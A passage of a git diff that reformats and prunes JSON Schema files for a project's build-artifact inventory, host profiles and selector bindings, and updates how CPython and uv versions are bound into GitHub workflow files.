"operational-cache", "release-evidence"]}, + "enum": [ + "generic-cli", + "source-snapshot", + "bootstrap", + "native-tool", + "oci-image", + "vm-base-image" + ] + }, + "version": { + "type": "string", + "minLength": 1 + }, + "support_level": { + "enum": [ + "blocking", + "advisory" + ] + }, + "owner": { + "type": "string", + "minLength": 1 + }, + "consumers": { + "$ref": "#/$defs/nonEmptyStrings" + }, + "trust_root_refs": { + "$ref": "#/$defs/nonEmptyStrings" + }, + "availability_class": { + "enum": [ + "R", + "L", + "N" + ] + }, + "retention_class": { + "enum": [ + "supported-input", + "operational-cache", + "release-evidence" + ] + }, "license": { "type": "object", "additionalProperties": false, - "required": ["spdx", "redistribution", "review_ref"], + "required": [ + "spdx", + "redistribution", + "review_ref" + ], "properties": { - "spdx": {"type": "string", "minLength": 1}, - "redistribution": {"enum": ["allowed", "restricted", "not-applicable"]}, - "review_ref": {"type": "string", "minLength": 1} + "spdx": { + "type": "string", + "minLength": 1 + }, + "redistribution": { + "enum": [ + "allowed", + "restricted", + "not-applicable" + ] + }, + "review_ref": { + "type": "string", + "minLength": 1 + } } }, "authenticity": { "type": "object", "additionalProperties": false, - "required": ["status", "decision_ref"], + "required": [ + "status", + "decision_ref" + ], "properties": { - "status": {"enum": ["verified", "absent-reviewed"]}, - "decision_ref": {"type": "string", "minLength": 1} + "status": { + "enum": [ + "verified", + "absent-reviewed" + ] + }, + "decision_ref": { + "type": "string", + "minLength": 1 + } } }, - "policy_refs": {"$ref": "#/$defs/nonEmptyStrings"}, + "policy_refs": { + "$ref": "#/$defs/nonEmptyStrings" + }, "source": { "type": "object", "additionalProperties": false, - "required": ["repository", "release", "asset", "locator_refs"], + "required": [ + "repository", + "release", + "asset", + "locator_refs" + ], "properties": { - "repository": {"type": "string", "minLength": 1}, - "release": {"type": "string", "minLength": 1}, - "asset": {"type": "string", "minLength": 1}, - "locator_refs": {"$ref": "#/$defs/nonEmptyStrings"} + "repository": { + "type": "string", + "minLength": 1 + }, + "release": { + "type": "string", + "minLength": 1 + }, + "asset": { + "type": "string", + "minLength": 1 + }, + "locator_refs": { + "$ref": "#/$defs/nonEmptyStrings" + } } }, "platforms": { "type": "array", "minItems": 1, - "items": {"$ref": "#/$defs/platform"} + "items": { + "$ref": "#/$defs/platform" + } + } + } + }, + "ociDigest": { + "type": "string", + "pattern": "^sha256:[0-9a-f]{64}$" + }, + "ociDescriptor": { + "type": "object", + "additionalProperties": false, + "required": [ + "digest", + "size" + ], + "properties": { + "digest": { + "$ref": "#/$defs/ociDigest" + }, + "size": { + "type": "integer", + "minimum": 1 + } + } + }, + "ociGraph": { + "type": "object", + "additionalProperties": false, + "required": [ + "index", + "manifest", + "config", + "layers", + "diff_ids", + "architecture", + "os" + ], + "properties": { + "index": { + "$ref": "#/$defs/ociDescriptor" + }, + "manifest": { + "$ref": "#/$defs/ociDescriptor" + }, + "config": { + "$ref": "#/$defs/ociDescriptor" + }, + "layers": { + "type": "array", + "minItems": 1, + "items": { + "$ref": "#/$defs/ociDescriptor" + } + }, + "diff_ids": { + "type": "array", + "minItems": 1, + "uniqueItems": true, + "items": { + "$ref": "#/$defs/ociDigest" + } + }, + "architecture": { + "type": "string", + "minLength": 1 + }, + "os": { + "type": "string", + "minLength": 1 + }, + "variant": { + "type": "string", + "minLength": 1 } } } diff --git a/implementations/tooling/schemas/inventory-coverage.schema.json b/implementations/tooling/schemas/inventory-coverage.schema.json deleted file mode 100644 index f58a784a2..000000000 --- a/implementations/tooling/schemas/inventory-coverage.schema.json +++ /dev/null @@ -1,67 +0,0 @@ -{ - "$schema": "https://json-schema.org/draft/2020-12/schema", - "$id": "urn:raes:tooling:inventory-coverage:v1", - "title": "RAES development artifact inventory coverage", - "type": "object", - "additionalProperties": false, - "required": ["schema_version", "inventory_source", "rows", "acquisition_paths"], - "properties": { - "schema_version": {"const": "raes-development-inventory-coverage/v1"}, - "inventory_source": {"type": "string", "minLength": 1}, - "rows": { - "type": "array", - "minItems": 1, - "items": { - "type": "object", - "additionalProperties": false, - "required": [ - "inventory_id", "subjects", "evidence_refs", "owner_roles", "consumers", "trust_root_refs", - "availability_class", "retention_class", "disposition", "authority_refs", - "policy_refs", "owning_issue" - ], - "properties": { - "inventory_id": {"type": "string", "pattern": "^(I(0[1-9]|1[0-6])|A0[1-7]|O0[1-4]|C0[1-4]|S0[1-2]|D01)$"}, - "subjects": { - "type": "array", "minItems": 1, "uniqueItems": true, - "items": {"enum": ["artifact", "action", "source-snapshot", "oci-image"]} - }, - "evidence_refs": {"$ref": "#/$defs/nonEmptyStrings"}, - "owner_roles": {"$ref": "#/$defs/nonEmptyStrings"}, - "consumers": {"$ref": "#/$defs/nonEmptyStrings"}, - "trust_root_refs": {"$ref": "#/$defs/nonEmptyStrings"}, - "availability_class": {"enum": ["R", "L", "N"]}, - "retention_class": {"enum": ["supported-input", "operational-cache", "release-evidence"]}, - "disposition": {"enum": ["locked", "delegated", "retained", "prohibited"]}, - "authority_refs": {"$ref": "#/$defs/nonEmptyStrings"}, - "policy_refs": {"$ref": "#/$defs/nonEmptyStrings"}, - "owning_issue": {"type": "integer", "minimum": 1} - } - } - }, - "acquisition_paths": { - "type": "array", - "items": { - "type": "object", - "additionalProperties": false, - "required": ["path", "inventory_id", "disposition", "site_count"], - "properties": { - "path": {"type": "string", "minLength": 1}, - "inventory_id": {"type": "string", "pattern": "^(I(0[1-9]|1[0-6])|A0[1-7]|O0[1-4]|C0[1-4]|S0[1-2]|D01)$"}, - "disposition": { - "enum": [ - "governed", "legacy-remediation", "external-service", "excluded-domain", - "non-acquisition-execution" - ] - }, - "site_count": {"type": "integer", "minimum": 1} - } - } - } - }, - "$defs": { - "nonEmptyStrings": { - "type": "array", "minItems": 1, "uniqueItems": true, - "items": {"type": "string", "minLength": 1} - } - } -} diff --git a/implementations/tooling/schemas/profiles.schema.json b/implementations/tooling/schemas/profiles.schema.json index 77c2647a5..aae507268 100644 --- a/implementations/tooling/schemas/profiles.schema.json +++ b/implementations/tooling/schemas/profiles.schema.json @@ -4,31 +4,106 @@ "title": "RAES development and host profiles", "type": "object", "additionalProperties": false, - "required": ["schema_version", "profiles", "host_profiles", "qualification_records"], + "required": [ + "schema_version", + "profiles", + "host_profiles" + ], "properties": { - "schema_version": {"const": "raes-development-profiles/v2"}, - "profiles": {"type": "array", "minItems": 1, "items": {"$ref": "#/$defs/artifactProfile"}}, - "python_package_contexts": {"type": "array", "minItems": 3, "items": {"$ref": "#/$defs/pythonPackageContext"}}, - "python_closure_profiles": {"type": "array", "minItems": 1, "items": {"$ref": "#/$defs/pythonClosureProfile"}}, - "host_profiles": {"type": "array", "minItems": 1, "items": {"$ref": "#/$defs/hostProfile"}}, - "qualification_records": {"type": "array", "minItems": 1, "items": {"$ref": "#/$defs/qualificationRecord"}} + "schema_version": { + "const": "raes-development-profiles/v2" + }, + "profiles": { + "type": "array", + "minItems": 1, + "items": { + "$ref": "#/$defs/artifactProfile" + } + }, + "python_package_contexts": { + "type": "array", + "minItems": 1, + "maxItems": 1, + "items": { + "$ref": "#/$defs/pythonPackageContext" + } + }, + "python_closure_profiles": { + "type": "array", + "minItems": 1, + "items": { + "$ref": "#/$defs/pythonClosureProfile" + } + }, + "host_profiles": { + "type": "array", + "minItems": 1, + "items": { + "$ref": "#/$defs/hostProfile" + } + } }, "$defs": { - "identifier": {"type": "string", "pattern": "^[a-z0-9][a-z0-9._-]*$"}, - "strings": {"type": "array", "minItems": 1, "uniqueItems": true, "items": {"type": "string", "minLength": 1}}, - "contexts": {"type": "array", "minItems": 1, "uniqueItems": true, "items": {"enum": ["public-contributor", "maintainer", "release", "self-hosted", "offline"]}}, + "identifier": { + "type": "string", + "pattern": "^[a-z0-9][a-z0-9._-]*$" + }, + "strings": { + "type": "array", + "minItems": 1, + "uniqueItems": true, + "items": { + "type": "string", + "minLength": 1 + } + }, + "contexts": { + "type": "array", + "minItems": 1, + "uniqueItems": true, + "items": { + "enum": [ + "public-contributor", + "maintainer", + "release", + "self-hosted", + "offline" + ] + } + }, "artifactProfile": { "type": "object", "additionalProperties": false, - "required": ["profile_id", "contexts", "platform", "locator_classes", "supported_artifact_ids"], + "required": [ + "profile_id", + "contexts", + "platform", + "locator_classes", + "supported_artifact_ids" + ], "properties": { - "profile_id": {"$ref": "#/$defs/identifier"}, - "contexts": {"$ref": "#/$defs/contexts"}, + "profile_id": { + "$ref": "#/$defs/identifier" + }, + "contexts": { + "$ref": "#/$defs/contexts" + }, "platform": { "type": "object", "additionalProperties": false, - "required": ["canonical_id", "aliases"], - "properties": {"canonical_id": {"type": "string", "minLength": 1}, "aliases": {"$ref": "#/$defs/strings"}} + "required": [ + "canonical_id", + "aliases" + ], + "properties": { + "canonical_id": { + "type": "string", + "minLength": 1 + }, + "aliases": { + "$ref": "#/$defs/strings" + } + } }, "locator_classes": { "type": "array", @@ -36,44 +111,89 @@ "items": { "type": "object", "additionalProperties": false, - "required": ["locator_id", "kind", "trust_root_ref"], + "required": [ + "locator_id", + "kind", + "trust_root_ref" + ], "properties": { - "locator_id": {"type": "string", "minLength": 1}, - "kind": {"enum": ["official-https", "git-object", "oci-digest", "local-path"]}, - "trust_root_ref": {"type": "string", "minLength": 1} + "locator_id": { + "type": "string", + "minLength": 1 + }, + "kind": { + "enum": [ + "official-https", + "git-object", + "oci-digest", + "local-path" + ] + }, + "trust_root_ref": { + "type": "string", + "minLength": 1 + } } } }, - "supported_artifact_ids": {"$ref": "#/$defs/strings"} + "supported_artifact_ids": { + "$ref": "#/$defs/strings" + } } }, "pythonPackageContext": { "type": "object", "additionalProperties": false, - "required": ["context_id", "mode", "locator_ref", "namespace_mapping", "credential_refs", "public_fallback"], + "required": [ + "context_id", + "mode", + "locator_ref", + "namespace_mapping", + "credential_refs", + "public_fallback" + ], "properties": { - "context_id": {"$ref": "#/$defs/identifier"}, - "mode": {"enum": ["public", "mirror-only", "offline"]}, - "locator_ref": {"$ref": "#/$defs/identifier"}, + "context_id": { + "$ref": "#/$defs/identifier" + }, + "mode": { + "const": "public" + }, + "locator_ref": { + "$ref": "#/$defs/identifier" + }, "namespace_mapping": { "type": "array", "uniqueItems": true, "items": { "type": "object", "additionalProperties": false, - "required": ["namespace", "locator_ref"], + "required": [ + "namespace", + "locator_ref" + ], "properties": { - "namespace": {"type": "string", "pattern": "^(\\*|[a-z0-9][a-z0-9._-]*)$"}, - "locator_ref": {"$ref": "#/$defs/identifier"} + "namespace": { + "type": "string", + "pattern": "^(\\*|[a-z0-9][a-z0-9._-]*)$" + }, + "locator_ref": { + "$ref": "#/$defs/identifier" + } } } }, "credential_refs": { "type": "array", "uniqueItems": true, - "items": {"type": "string", "pattern": "^credential-ref:[a-z0-9][a-z0-9._/-]*$"} + "items": { + "type": "string", + "pattern": "^credential-ref:[a-z0-9][a-z0-9._/-]*$" + } }, - "public_fallback": {"const": "prohibited"} + "public_fallback": { + "const": "prohibited" + } } }, "pythonClosureProfile": { @@ -97,56 +217,136 @@ "test_case_ids" ], "properties": { - "python_closure_profile_id": {"$ref": "#/$defs/identifier"}, - "owner_roles": {"type": "array", "minItems": 2, "uniqueItems": true, "items": {"enum": ["Release", "Tooling"]}}, + "python_closure_profile_id": { + "$ref": "#/$defs/identifier" + }, + "owner_roles": { + "type": "array", + "minItems": 1, + "uniqueItems": true, + "items": { + "enum": [ + "Maintainer" + ] + } + }, "purposes": { "type": "array", "minItems": 1, "uniqueItems": true, - "items": {"enum": ["tool", "build", "wheel-smoke", "sdist-smoke", "compatibility", "docs"]} + "items": { + "enum": [ + "tool", + "build", + "wheel-smoke", + "sdist-smoke", + "compatibility", + "docs" + ] + } + }, + "host_profile_id": { + "$ref": "#/$defs/identifier" }, - "host_profile_id": {"$ref": "#/$defs/identifier"}, "python": { "type": "object", "additionalProperties": false, - "required": ["implementation", "version", "abi", "platform"], + "required": [ + "implementation", + "version", + "abi", + "platform" + ], "properties": { - "implementation": {"const": "cpython"}, - "version": {"enum": ["3.11", "3.12", "3.13", "3.14"]}, - "abi": {"pattern": "^cp3(11|12|13|14)$"}, - "platform": {"enum": ["x86_64-unknown-linux-gnu", "aarch64-unknown-linux-gnu", "aarch64-apple-darwin"]} + "implementation": { + "const": "cpython" + }, + "version": { + "enum": [ + "3.11", + "3.12", + "3.13", + "3.14" + ] + }, + "abi": { + "pattern": "^cp3(11|12|13|14)$" + }, + "platform": { + "enum": [ + "x86_64-unknown-linux-gnu", + "aarch64-unknown-linux-gnu", + "aarch64-apple-darwin" + ] + } + } + }, + "project_extras": { + "type": "array", + "uniqueItems": true, + "items": { + "enum": [ + "dev", + "docs" + ] + } + }, + "tool_groups": { + "type": "array", + "minItems": 1, + "uniqueItems": true, + "items": { + "enum": [ + "default", + "build" + ] } }, - "project_extras": {"type": "array", "uniqueItems": true, "items": {"enum": ["dev", "docs"]}}, - "tool_groups": {"type": "array", "minItems": 1, "uniqueItems": true, "items": {"enum": ["default", "build"]}}, - "acquisition_context_ids": {"type": "array", "minItems": 3, "uniqueItems": true, "items": {"$ref": "#/$defs/identifier"}}, - "project_lock": {"const": "implementations/python/uv.lock"}, - "tool_lock": {"const": "implementations/tooling/python/uv.lock"}, - "build_constraints": {"const": "implementations/tooling/python/build-constraints.txt"}, - "smoke_requirements": {"type": "string", "pattern": "^implementations/tooling/python/smoke/[a-z0-9_.-]+\\.txt$"}, - "wheelhouse_manifest": {"type": "string", "pattern": "^implementations/tooling/python/smoke/[a-z0-9_.-]+\\.wheelhouse-manifest\\.json$"}, - "source_build_disposition": {"const": "wheels-only"}, + "acquisition_context_ids": { + "type": "array", + "minItems": 1, + "maxItems": 1, + "uniqueItems": true, + "items": { + "const": "python-public" + } + }, + "project_lock": { + "const": "implementations/python/uv.lock" + }, + "tool_lock": { + "const": "implementations/tooling/python/uv.lock" + }, + "build_constraints": { + "const": "implementations/tooling/python/build-constraints.txt" + }, + "smoke_requirements": { + "type": "string", + "pattern": "^implementations/tooling/python/smoke/[a-z0-9_.-]+\\.txt$" + }, + "wheelhouse_manifest": { + "type": "string", + "pattern": "^implementations/tooling/python/smoke/[a-z0-9_.-]+\\.wheelhouse-manifest\\.json$" + }, + "source_build_disposition": { + "const": "wheels-only" + }, "test_case_ids": { "type": "array", "minItems": 5, "uniqueItems": true, - "items": {"enum": ["T03", "T10", "T11", "T13", "T23"]} + "items": { + "enum": [ + "T03", + "T10", + "T11", + "T13", + "T23" + ] + } } } }, - "offlineKit": { - "type": "object", - "additionalProperties": false, - "required": ["kit_id", "credential_free", "network_fallback", "artifact_ids", "host_prerequisite_package_ids", "host_trust_root_refs"], - "properties": { - "kit_id": {"$ref": "#/$defs/identifier"}, - "credential_free": {"const": true}, - "network_fallback": {"const": "prohibited"}, - "artifact_ids": {"$ref": "#/$defs/strings"}, - "host_prerequisite_package_ids": {"$ref": "#/$defs/strings"}, - "host_trust_root_refs": {"$ref": "#/$defs/strings"} - } - }, "hostProfile": { "type": "object", "additionalProperties": false, @@ -163,177 +363,68 @@ "required_capability_ids", "proof_support", "host_security_control_changes", - "offline_kit", - "qualification_record_ids" + "host_prerequisite_package_ids" ], "properties": { - "host_profile_id": {"$ref": "#/$defs/identifier"}, - "platform_id": {"type": "string", "minLength": 1}, - "contexts": {"$ref": "#/$defs/contexts"}, - "native_family": {"enum": ["ubuntu-apt", "macos-brew"]}, - "base_image_identity": {"type": "string", "minLength": 1}, - "base_image_artifact_ref": {"$ref": "#/$defs/identifier"}, - "native_repository_identity": {"type": "string", "minLength": 1}, - "native_repository_snapshot": {"type": "string", "pattern": "^[0-9]{8}T[0-9]{6}Z$"}, - "trust_root_refs": {"$ref": "#/$defs/strings"}, - "credential_refs": {"type": "array", "uniqueItems": true, "items": {"type": "string", "pattern": "^credential-ref:[a-z0-9][a-z0-9._/-]*$"}}, - "bootstrap_payload_ids": {"$ref": "#/$defs/strings"}, - "required_capability_ids": {"$ref": "#/$defs/strings"}, - "optional_capability_ids": {"$ref": "#/$defs/strings"}, - "proof_support": {"enum": ["linux-x86_64-required", "unsupported"]}, - "host_security_control_changes": {"const": "prohibited"}, - "offline_kit": {"$ref": "#/$defs/offlineKit"}, - "development_package_ids": {"$ref": "#/$defs/strings"}, - "development_user": {"$ref": "#/$defs/developmentUser"}, - "qualification_record_ids": {"$ref": "#/$defs/strings"} - } - }, - "developmentUser": { - "type": "object", - "additionalProperties": false, - "required": ["name", "uid", "gid"], - "properties": { - "name": {"type": "string", "pattern": "^[a-z_][a-z0-9_-]{0,31}$"}, - "uid": {"type": "integer", "minimum": 1000, "maximum": 60000}, - "gid": {"type": "integer", "minimum": 1000, "maximum": 60000} - } - }, - "capabilityResult": { - "type": "object", - "additionalProperties": false, - "required": ["capability_id", "outcome"], - "properties": { - "capability_id": {"$ref": "#/$defs/identifier"}, - "outcome": {"enum": ["passed", "failed", "unsupported", "not-run"]}, - "observed_identity": {"type": "string", "minLength": 1}, - "reason_code": {"$ref": "#/$defs/identifier"}, - "version": {"type": "string", "minLength": 1}, - "expected_version": {"type": "string", "minLength": 1} - } - }, - "qualificationRecord": { - "type": "object", - "additionalProperties": false, - "required": [ - "evidence_id", - "host_profile_id", - "test_case_ids", - "implementation_revision", - "observed_at", - "context", - "outcome", - "base_image_identity", - "native_repository_identity", - "policy_sha256", - "capability_results", - "evidence_location", - "evidence_sha256" - ], - "properties": { - "evidence_id": {"$ref": "#/$defs/identifier"}, - "host_profile_id": {"$ref": "#/$defs/identifier"}, - "test_case_ids": {"type": "array", "minItems": 1, "uniqueItems": true, "items": {"enum": ["T01", "T02", "T03", "T08", "T12"]}}, - "implementation_revision": {"type": "string", "pattern": "^[0-9a-f]{40}$"}, - "observed_at": {"type": "string", "format": "date-time"}, - "context": {"type": "string", "minLength": 1}, - "outcome": {"enum": ["passed", "failed", "unsupported", "not-run"]}, - "base_image_identity": {"type": "string", "minLength": 1}, - "native_repository_identity": {"type": "string", "minLength": 1}, - "policy_sha256": {"type": "string", "pattern": "^[0-9a-f]{64}$"}, - "capability_results": {"type": "array", "minItems": 1, "items": {"$ref": "#/$defs/capabilityResult"}}, - "limitations": {"type": "array", "uniqueItems": true, "items": {"type": "string", "minLength": 1}}, - "evidence_location": {"type": "string", "minLength": 1}, - "evidence_sha256": {"type": "string", "pattern": "^[0-9a-f]{64}$"}, - "platform_id": {"type": "string", "minLength": 1}, - "declared_base_image_identity": {"type": "string", "minLength": 1}, - "observed_runner_image": {"type": "string", "minLength": 1}, - "harness_sha256": {"type": "string", "pattern": "^[0-9a-f]{64}$"}, - "payload_results": {"type": "array", "minItems": 1, "items": {"$ref": "#/$defs/payloadResult"}}, - "case_results": {"type": "array", "minItems": 1, "items": {"$ref": "#/$defs/caseResult"}}, - "offline_kit_evidence": {"$ref": "#/$defs/offlineKitEvidence"}, - "slice_results": {"type": "array", "minItems": 1, "items": {"$ref": "#/$defs/sliceResult"}} - } - }, - "payloadResult": { - "type": "object", - "additionalProperties": false, - "required": ["artifact_id", "version", "support_level", "platform_id", "distribution_id", "expected_raw_manifest", "measurement"], - "properties": { - "artifact_id": {"$ref": "#/$defs/identifier"}, - "version": {"type": "string", "minLength": 1}, - "support_level": {"enum": ["blocking", "advisory"]}, - "platform_id": {"type": "string", "minLength": 1}, - "distribution_id": {"type": "string", "minLength": 1}, - "installed_manifest": {"type": "array", "minItems": 1, "items": {"$ref": "#/$defs/evidenceManifestEntry"}}, - "expected_installed_identity": {"$ref": "#/$defs/installedIdentity"}, - "observed_installed_identity": {"$ref": "#/$defs/installedIdentity"}, - "expected_raw_manifest": {"type": "array", "minItems": 1, "items": {"$ref": "#/$defs/evidenceManifestEntry"}}, - "measurement": { - "enum": ["installed-manifest-verified-and-executed", "installed-identity-observed", "case-harness-verified", "offline-kit-manifest-verified-and-executed"] - } - } - }, - "installedIdentity": { - "type": "object", - "additionalProperties": false, - "required": ["implementation", "version", "abi", "target"], - "properties": { - "implementation": {"type": "string", "minLength": 1}, - "version": {"type": "string", "minLength": 1}, - "abi": {"type": "string", "minLength": 1}, - "target": {"type": "string", "minLength": 1} + "host_profile_id": { + "$ref": "#/$defs/identifier" + }, + "platform_id": { + "type": "string", + "minLength": 1 + }, + "contexts": { + "$ref": "#/$defs/contexts" + }, + "native_family": { + "enum": [ + "ubuntu-apt", + "macos-brew" + ] + }, + "base_image_identity": { + "type": "string", + "minLength": 1 + }, + "base_image_artifact_ref": { + "$ref": "#/$defs/identifier" + }, + "native_repository_identity": { + "type": "string", + "minLength": 1 + }, + "trust_root_refs": { + "$ref": "#/$defs/strings" + }, + "credential_refs": { + "type": "array", + "uniqueItems": true, + "items": { + "type": "string", + "pattern": "^credential-ref:[a-z0-9][a-z0-9._/-]*$" } - }, - "evidenceManifestEntry": { - "type": "object", - "additionalProperties": false, - "required": ["path", "sha256", "size"], - "properties": { - "path": {"type": "string", "minLength": 1}, - "sha256": {"type": "string", "pattern": "^[0-9a-f]{64}$"}, - "size": {"type": "integer", "minimum": 1}, - "executable": {"type": "boolean"} - } - }, - "offlineKitEvidence": { - "type": "object", - "additionalProperties": false, - "required": ["path", "sha256", "size"], - "properties": { - "path": {"type": "string", "pattern": "^[A-Za-z0-9][A-Za-z0-9._-]*$"}, - "sha256": {"type": "string", "pattern": "^[0-9a-f]{64}$"}, - "size": {"type": "integer", "minimum": 1} - } - }, - "sliceResult": { - "type": "object", - "additionalProperties": false, - "required": ["slice_id", "canonical_case_id", "outcome", "harness_path", "harness_sha256"], - "properties": { - "slice_id": {"type": "string", "pattern": "^T(0[1-9]|1[0-9]|2[0-4])-[a-z0-9]+(-[a-z0-9]+)*$"}, - "canonical_case_id": {"type": "string", "pattern": "^T(0[1-9]|1[0-9]|2[0-4])$"}, - "outcome": {"enum": ["passed", "not-run"]}, - "elapsed_seconds": {"type": "number", "minimum": 0}, - "reason_code": {"type": "string", "pattern": "^[a-z0-9]+(-[a-z0-9]+)*$"}, - "harness_path": {"type": "string", "minLength": 1}, - "harness_sha256": {"type": "string", "pattern": "^[0-9a-f]{64}$"} - }, - "oneOf": [ - {"properties": {"outcome": {"const": "passed"}}, "required": ["elapsed_seconds"], "not": {"required": ["reason_code"]}}, - {"properties": {"outcome": {"const": "not-run"}}, "required": ["reason_code"], "not": {"required": ["elapsed_seconds"]}} - ] - }, - "caseResult": { - "type": "object", - "additionalProperties": false, - "required": ["test_case_id", "outcome", "implementation_revision", "harness_path", "harness_sha256", "artifact_ids"], - "properties": { - "test_case_id": {"enum": ["T01", "T02", "T03", "T08", "T12"]}, - "outcome": {"const": "passed"}, - "implementation_revision": {"type": "string", "pattern": "^[0-9a-f]{40}$"}, - "harness_path": {"type": "string", "minLength": 1}, - "harness_sha256": {"type": "string", "pattern": "^[0-9a-f]{64}$"}, - "artifact_ids": {"type": "array", "uniqueItems": true, "items": {"$ref": "#/$defs/identifier"}} + }, + "bootstrap_payload_ids": { + "$ref": "#/$defs/strings" + }, + "required_capability_ids": { + "$ref": "#/$defs/strings" + }, + "optional_capability_ids": { + "$ref": "#/$defs/strings" + }, + "proof_support": { + "enum": [ + "linux-x86_64-required", + "unsupported" + ] + }, + "host_security_control_changes": { + "const": "prohibited" + }, + "host_prerequisite_package_ids": { + "$ref": "#/$defs/strings" + } } } } diff --git a/implementations/tooling/schemas/selector-bindings.schema.json b/implementations/tooling/schemas/selector-bindings.schema.json index 61ed06fd3..507e259d9 100644 --- a/implementations/tooling/schemas/selector-bindings.schema.json +++ b/implementations/tooling/schemas/selector-bindings.schema.json @@ -4,66 +4,61 @@ "title": "RAES development selector bindings", "type": "object", "additionalProperties": false, - "required": ["schema_version", "bindings", "runtime_selections", "tracked_literals"], + "required": [ + "schema_version", + "bindings" + ], "properties": { - "schema_version": {"const": "raes-development-selector-bindings/v1"}, + "schema_version": { + "const": "raes-development-selector-bindings/v1" + }, "bindings": { "type": "array", "items": { "type": "object", "additionalProperties": false, - "required": ["binding_id", "artifact_id", "authority_field", "consumers"], + "required": [ + "binding_id", + "artifact_id", + "authority_field", + "consumers" + ], "properties": { - "binding_id": {"type": "string", "pattern": "^[a-z0-9][a-z0-9._-]*$"}, - "artifact_id": {"type": "string", "minLength": 1}, - "authority_field": {"const": "version"}, + "binding_id": { + "type": "string", + "pattern": "^[a-z0-9][a-z0-9._-]*$" + }, + "artifact_id": { + "type": "string", + "minLength": 1 + }, + "authority_field": { + "const": "version" + }, "consumers": { "type": "array", "minItems": 1, "items": { "type": "object", "additionalProperties": false, - "required": ["path", "template"], + "required": [ + "path", + "template" + ], "properties": { - "path": {"type": "string", "minLength": 1}, - "template": {"type": "string", "pattern": "\\{selector\\}"} + "path": { + "type": "string", + "minLength": 1 + }, + "template": { + "type": "string", + "pattern": "\\{selector\\}" + } } } } } } - }, - "runtime_selections": { - "type": "array", - "minItems": 1, - "items": { - "type": "object", - "additionalProperties": false, - "required": ["artifact_id", "consumers"], - "properties": { - "artifact_id": {"type": "string", "minLength": 1}, - "consumers": { - "type": "array", - "minItems": 1, - "uniqueItems": true, - "items": {"type": "string", "minLength": 1} - } - } - } - }, - "tracked_literals": { - "type": "array", - "items": { - "type": "object", - "additionalProperties": false, - "required": ["selector_id", "authority_path", "authority_template", "consumer_prefix"], - "properties": { - "selector_id": {"type": "string", "pattern": "^[a-z0-9][a-z0-9._-]*$"}, - "authority_path": {"type": "string", "minLength": 1}, - "authority_template": {"type": "string", "pattern": "\\{selector\\}"}, - "consumer_prefix": {"type": "string", "minLength": 1} - } - } } } } diff --git a/implementations/tooling/selector-bindings.json b/implementations/tooling/selector-bindings.json index d5d60f623..a2dcf3864 100644 --- a/implementations/tooling/selector-bindings.json +++ b/implementations/tooling/selector-bindings.json @@ -5,67 +5,137 @@ "binding_id": "cpython-3.11-workflow-payload", "artifact_id": "cpython-3.11", "authority_field": "version", - "consumers": [{"path": ".github/workflows/ci.yml", "template": "{feature: \"3.11\", payload: \"{selector}\", closure: public-linux-x86_64-cp311-all-extras}"}] + "consumers": [ + { + "path": ".github/workflows/ci.yml", + "template": "{feature: \"3.11\", payload: \"{selector}\", closure: public-linux-x86_64-cp311-all-extras}" + } + ] }, { "binding_id": "cpython-3.12-workflow-payload", "artifact_id": "cpython-3.12", "authority_field": "version", "consumers": [ - {"path": ".github/workflows/ci.yml", "template": "{feature: \"3.12\", payload: \"{selector}\", closure: public-linux-x86_64-cp312-all-extras}"}, - {"path": ".github/workflows/canonical-verification.yml", "template": "python-version: \"{selector}\""}, - {"path": ".github/workflows/docs.yml", "template": "python-version: \"{selector}\""}, - {"path": ".github/workflows/pr-body-policy.yml", "template": "python-version: \"{selector}\""}, - {"path": ".github/workflows/pr-title-lint.yml", "template": "python-version: \"{selector}\""}, - {"path": ".github/workflows/post-merge-closing-issue-audit.yml", "template": "python-version: \"{selector}\""}, - {"path": ".github/workflows/release-please.yml", "template": "python-version: \"{selector}\""} + { + "path": ".github/workflows/ci.yml", + "template": "{feature: \"3.12\", payload: \"{selector}\", closure: public-linux-x86_64-cp312-all-extras}" + }, + { + "path": ".github/workflows/canonical-verification.yml", + "template": "python-version: \"{selector}\"" + }, + { + "path": ".github/workflows/docs.yml", + "template": "python-version: \"{selector}\"" + }, + { + "path": ".github/workflows/pr-body-policy.yml", + "template": "python-version: \"{selector}\"" + }, + { + "path": ".github/workflows/pr-title-lint.yml", + "template": "python-version: \"{selector}\"" + }, + { + "path": ".github/workflows/post-merge-closing-issue-audit.yml", + "template": "python-version: \"{selector}\"" + }, + { + "path": ".github/workflows/release-please.yml", + "template": "python-version: \"{selector}\"" + } ] }, { "binding_id": "cpython-3.13-workflow-payload", "artifact_id": "cpython-3.13", "authority_field": "version", - "consumers": [{"path": ".github/workflows/ci.yml", "template": "{feature: \"3.13\", payload: \"{selector}\", closure: public-linux-x86_64-cp313-all-extras}"}] + "consumers": [ + { + "path": ".github/workflows/ci.yml", + "template": "{feature: \"3.13\", payload: \"{selector}\", closure: public-linux-x86_64-cp313-all-extras}" + } + ] }, { "binding_id": "cpython-3.14-workflow-payload", "artifact_id": "cpython-3.14", "authority_field": "version", "consumers": [ - {"path": ".github/workflows/ci.yml", "template": "{feature: \"3.14\", payload: \"{selector}\", closure: public-linux-x86_64-cp314-all-extras}"}, - {"path": ".github/workflows/bootstrap-qualification.yml", "template": "python-version: \"{selector}\""} + { + "path": ".github/workflows/ci.yml", + "template": "{feature: \"3.14\", payload: \"{selector}\", closure: public-linux-x86_64-cp314-all-extras}" + }, + { + "path": ".github/workflows/bootstrap-qualification.yml", + "template": "python-version: \"{selector}\"" + } ] }, { "binding_id": "cpython-3.14t-workflow-payload", "artifact_id": "cpython-3.14t", "authority_field": "version", - "consumers": [{"path": ".github/workflows/python-free-threaded-preview.yml", "template": "python-version: {selector}t"}] + "consumers": [ + { + "path": ".github/workflows/python-free-threaded-preview.yml", + "template": "python-version: {selector}t" + } + ] }, { "binding_id": "uv-workflow-payload", "artifact_id": "uv", "authority_field": "version", "consumers": [ - {"path": ".github/workflows/ci.yml", "template": "version: \"{selector}\""}, - {"path": ".github/workflows/canonical-verification.yml", "template": "version: \"{selector}\""}, - {"path": ".github/workflows/bootstrap-qualification.yml", "template": "version: \"{selector}\""}, - {"path": ".github/workflows/docs.yml", "template": "version: \"{selector}\""}, - {"path": ".github/workflows/release-please.yml", "template": "version: \"{selector}\""}, - {"path": ".github/workflows/python-free-threaded-preview.yml", "template": "version: \"{selector}\""} + { + "path": ".github/workflows/ci.yml", + "template": "version: \"{selector}\"" + }, + { + "path": ".github/workflows/canonical-verification.yml", + "template": "version: \"{selector}\"" + }, + { + "path": ".github/workflows/bootstrap-qualification.yml", + "template": "version: \"{selector}\"" + }, + { + "path": ".github/workflows/docs.yml", + "template": "version: \"{selector}\"" + }, + { + "path": 